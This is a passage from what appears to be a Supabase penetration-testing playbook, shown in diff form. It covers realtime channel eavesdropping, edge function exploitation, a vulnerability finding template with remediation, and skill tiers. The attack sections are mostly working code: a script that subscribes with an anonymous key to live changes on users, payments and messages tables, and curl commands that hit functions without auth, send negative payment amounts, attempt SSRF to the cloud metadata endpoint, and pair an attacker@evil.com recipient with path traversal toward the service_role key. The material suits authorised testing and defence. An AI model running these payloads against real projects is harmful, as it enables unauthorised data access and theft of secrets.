## Phase 7 — Realtime Channel Eavesdropping
|
|
289
|
+
|
|
290
|
+
```javascript
|
|
291
|
+
// Supabase Realtime: WebSocket-based live data
|
|
292
|
+
// If channel doesn't check auth → any user can subscribe to any table changes
|
|
293
|
+
|
|
294
|
+
const { createClient } = require('@supabase/supabase-js')
|
|
295
|
+
|
|
296
|
+
const supabase = createClient(
|
|
297
|
+
'https://PROJECT_ID.supabase.co',
|
|
298
|
+
'ANON_KEY' // Use anon key (unauthenticated)
|
|
299
|
+
)
|
|
300
|
+
|
|
301
|
+
// Subscribe to ALL changes on sensitive tables
|
|
302
|
+
const channel = supabase
|
|
303
|
+
.channel('all-changes')
|
|
304
|
+
.on('postgres_changes',
|
|
305
|
+
{ event: '*', schema: 'public', table: 'orders' },
|
|
306
|
+
(payload) => {
|
|
307
|
+
console.log('Intercepted:', payload)
|
|
308
|
+
// Receives: INSERT/UPDATE/DELETE events with full row data
|
|
309
|
+
}
|
|
310
|
+
)
|
|
311
|
+
.subscribe()
|
|
312
|
+
|
|
313
|
+
// Try different tables
|
|
314
|
+
const tables = ['users', 'profiles', 'messages', 'payments', 'orders']
|
|
315
|
+
tables.forEach(table => {
|
|
316
|
+
supabase.channel(`spy-${table}`)
|
|
317
|
+
.on('postgres_changes', { event: '*', schema: 'public', table },
|
|
318
|
+
payload => console.log(`${table}:`, payload))
|
|
319
|
+
.subscribe()
|
|
320
|
+
})
|
|
321
|
+
```
|
|
322
|
+
|
|
323
|
+
---
|
|
324
|
+
|
|
325
|
+
## Phase 8 — Edge Function Exploitation
|
|
326
|
+
|
|
327
|
+
```bash
|
|
328
|
+
# Supabase Edge Functions = Deno-based serverless functions
|
|
329
|
+
# Endpoint: https://PROJECT_ID.supabase.co/functions/v1/FUNCTION_NAME
|
|
330
|
+
|
|
331
|
+
# Enumerate functions (often discoverable from source code)
|
|
332
|
+
curl "https://PROJECT_ID.supabase.co/functions/v1/" \
|
|
333
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
334
|
+
|
|
335
|
+
# Test without auth
|
|
336
|
+
curl "https://PROJECT_ID.supabase.co/functions/v1/admin-action"
|
|
337
|
+
|
|
338
|
+
# Test with anon key only
|
|
339
|
+
curl "https://PROJECT_ID.supabase.co/functions/v1/process-payment" \
|
|
340
|
+
-H "Authorization: Bearer ANON_KEY" \
|
|
341
|
+
-H "Content-Type: application/json" \
|
|
342
|
+
-d '{"amount": -100}' # Negative amount
|
|
343
|
+
|
|
344
|
+
# SSRF via Edge Function
|
|
345
|
+
curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/fetch-url" \
|
|
346
|
+
-H "Authorization: Bearer ANON_KEY" \
|
|
347
|
+
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
|
|
348
|
+
|
|
349
|
+
# Inject env variables via function input (if poorly sandboxed)
|
|
350
|
+
curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/send-email" \
|
|
351
|
+
-d '{"to": "attacker@evil.com", "template": "../../service_role_key"}'
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
---
|
|
355
|
+
|
|
356
|
+
## Finding Documentation
|
|
357
|
+
|
|
358
|
+
```
|
|
359
|
+
Finding: Supabase RLS Bypass — Unauthorized Data Access
|
|
360
|
+
Severity: CRITICAL
|
|
361
|
+
CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
|
|
362
|
+
CWE: CWE-284 (Improper Access Control)
|
|
363
|
+
|
|
364
|
+
Evidence:
|
|
365
|
+
- curl command showing access to other users' records
|
|
366
|
+
- Number of records accessible (e.g., "returned 15,234 user records")
|
|
367
|
+
- Screenshot of sensitive data returned
|
|
368
|
+
|
|
369
|
+
Impact:
|
|
370
|
+
- Full read/write access to all user data
|
|
371
|
+
- PII exposure (emails, addresses, payment info)
|
|
372
|
+
- Account takeover via profile modification
|
|
373
|
+
|
|
374
|
+
Remediation:
|
|
375
|
+
1. Enable RLS on ALL tables: ALTER TABLE name ENABLE ROW LEVEL SECURITY
|
|
376
|
+
2. Create proper policies: CREATE POLICY "users_own_data" ON table
|
|
377
|
+
FOR ALL USING (auth.uid() = user_id)
|
|
378
|
+
3. Never expose service_role key client-side
|
|
379
|
+
4. Audit all SECURITY DEFINER functions
|
|
380
|
+
5. Enable storage bucket RLS policies
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
---
|
|
384
|
+
|
|
385
|
+
## Skill Levels
|
|
386
|
+
|
|
387
|
+
**BEGINNER:** anon key extraction → table enumeration via OpenAPI → test for missing RLS
|
|
388
|
+
|
|
389
|
+
**INTERMEDIATE:** RLS bypass via IDOR filters · Storage bucket misconfiguration · Auth user enumeration
|
|
390
|
+
|
|
391
|
+
**ADVANCED:** JWT secret extraction → service_role token forgery → full RLS bypass · Realtime eavesdropping
|
|
392
|
+
|
|
393
|
+
**EXPERT:** SECURITY DEFINER function abuse · Edge Function SSRF · Realtime + RLS chain for persistent access
|
|
394
|
+
|
|
395
|
+
---
|
|
396
|
+
|
|
397
|
+
## References
|
|
398
|
+
|
|
399
|
+
- Supabase Security Guide: https://supabase.com/docs/guides/auth/row-level-security
|
|
400
|
+
- PostgREST docs: https://postgrest.org/en/stable/
|
|
401
|
+
- HackerOne Supabase reports: https://hackerone.com/supabase
|
|
402
|
+
- MITRE T1213: https://attack.mitre.org/techniques/T1213/
|